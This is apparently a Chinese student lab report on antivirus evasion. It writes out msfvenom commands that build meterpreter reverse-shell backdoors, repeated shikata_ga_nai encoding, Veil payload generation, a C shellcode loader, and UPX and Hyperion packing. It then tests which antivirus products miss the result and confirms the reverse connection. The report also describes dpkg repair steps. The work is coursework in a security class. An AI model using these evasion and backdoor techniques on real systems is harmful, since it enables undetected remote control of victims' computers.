(1)杀软是如何检测出恶意代码的？
基于特征码的检测：
杀毒软件的病毒库记录了一些恶意软件的特征码，这些特征码由一个不大于64字节的特征串组成，根据已检测出或网络上公布的病毒，对其提取特征码，记录成病毒库，检测到程序时将程序与特征码比对即可判断是否是恶意代码。启发式恶意软件的检测：
将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对，如果发现相似度达到某一值时，随即判定这个程序为恶意代码，有一定误报可能。基于行为的恶意软件检测：
在程序运行的状态下（动态）对其行为进行监控，如果有敏感行为会被认为是恶意程序，是一种动态的监测与捕捉；“免杀”的杀是指杀毒软件、病毒搜索检测引擎等，“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测，进入系统。
(3)免杀的基本方法有哪些？
使用实验二中指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 -f exe > 20165202.exe生成后门可执行文件，分别使用使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
可以看到如果不加任何处理，后门程序能够被大多数杀软检测到，下面使用msf编码器对后门程序进行一次到多次的编码，并进行检测。
一次编码使用命令：-e选择编码器，-b是payload中需要去除的字符，msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.153.129 LPORT=5202 -f exe > met-encoded.exe
十次编码使用命令：-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.129 LPORT=5202 -f exe > 5202met-encoded.exe
将编码十次后的可执行文件上传到VirusTotal扫描后结果如下：
我们发现多次编码对免杀没有太大的效果，原因如下：
shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中，杀软进行特征查杀你就gg了
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 x> 5202backdoor.jar生成文件
扫描结果
安装veil
使用sudo apt-get install veil-evasion命令安装Veil
之后输入veil打开veil，输入y继续安装直至完成
成功的话，输入veil指令，会出现下面这个界面(很遗憾，在折腾了四个小时后我还是“未展开对象”。尝试update等方法失败后，我选择了拷贝虚拟机，导致后面部分IP变了，sry老师....）
用use evasion命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py使用c语言，进入配置界面
设置反弹连接IP，命令为:set LHOST 192.168.199.206，注意此处的IP是KaliIP；
设置端口，命令为：set LPORT 5202
输入generate生成文件，接着输入你想要playload的名字：payload5202
如上图所示，保存路径为/var/lib/veil/output/compiled/payload5202.exe
检测结果
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.206 LPORT=5202 -f c用c语言生成一段shellcode;
unsigned char buf[] =
生成的shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}使用命令：i686-w64-mingw32-g++ 20165202.c -o 20165202.exe编译.c文件为可执行文件;
检测结果如下
压缩壳
减少应用体积，如ASPack,UPX加密壳
版权保护，反跟踪。如ASProtect,Armadillo虚拟机
通过类似编译手段，将应用指令转换为自己设计的指令集。如VMProtect,Themida使用压缩壳（UPX）
给20165202.exe加个壳得到5202_upxed.exe：
检测结果
查看连接情况，可以反弹连接
测试是否免杀
/usr/share/windows-binaries/hyperion/目录中cd /usr/share/windows-binaries/hyperion/输入命令wine hyperion.exe -v 5202_upxed.exe 5202_upxed_Hyperion.exe进行加壳：
检测结果
被控机系统：win10 装有腾讯电脑管家13.3.202版本
由于测试ping不成功，我更换了网络和虚拟机网络连接方式。导致IP变为192.168.153.131,我重新获得新的shellcode并做了新的20165202+.exe具体方式还是外套upx
被控机：win7虚拟机 使用腾讯电脑管家13.2版本
无毒 妙阿
来试试回连 也ok？
当运行sudo apt-get install/update/或其他命令时，由于各种说不清的原因有时会出现如下提示：
E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?参考linux公社下文章Ubuntu E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)进行尝试
第二种无效，第一种我杀了进程有了更大的的问题....
显示apt-get出错,由于出现了太多错误，处理过程被终止了。这可还行？？？
继续参考 大量dpkg依赖错误使用以下方法
第一步：备份
$ sudo mv /var/lib/dpkg/info /var/lib/dpkg/info.bk
第二步：新建
$ sudo mkdir /var/lib/dpkg/info
第三步：更新
$ sudo apt-get update
$ sudo apt-get -f install
第四步：替换
$ sudo mv /var/lib/dpkg/info/* /var/lib/dpkg/info.bk
//把更新的文件替换到备份文件夹
第五步：删除
$ sudo rm -rf /var/lib/dpkg/info
//把自己新建的info文件夹删掉
第六步：还原
$ sudo mv /var/lib/dpkg/info.bk /var/lib/dpkg/info
//把备份的info.bk还原终于修复了apt-get...但是，upgrade之后我的veil还是失败了...来我们到第二个问题
我相信很多同学都遇到了这个问题，在尝试了upgrade和apt-get evil-vision等方法无果后...我选了拷贝虚拟机...真香
这个问题不难，在PKI实验里面也有遇到。更换网络连接方式(nat、桥接模式)即可
不能，通过实践我们不难发现。尽管杀软能够抵御大多数后门偷袭，但是对于一些“隐蔽性强”的后门还是难以做到全面查杀。这也提醒我们一定要提高安全意识，不能只靠杀软保护我们的计算机。 通过这次实验可以了解到，实现免杀的技术真的很多很多，模板之类的数不胜数不说，更有很多dalao可以手工编译，瞬间感觉这次试验只是一个幼儿园小朋友的尝试……这个过程中遇到的最大问题就是veil的安装，这部分卡了很多时间，甚至还把我的upgrade搞坏了，虽然最终veil也没有装好，但我却收获了upgrade的修复方法，这何尝不是一种进步呢？体验过才是真的拥有了经验，当别人问我免杀是什么，如何实现的时候，我可以清楚地告诉他我尝试过的方法，有哪些失败与成功，这也是一种收获……2018-2019-2 网络对抗技术 20165202 Exp3 免杀原理与实践
原文：https://www.cnblogs.com/jhs888/p/10630395.html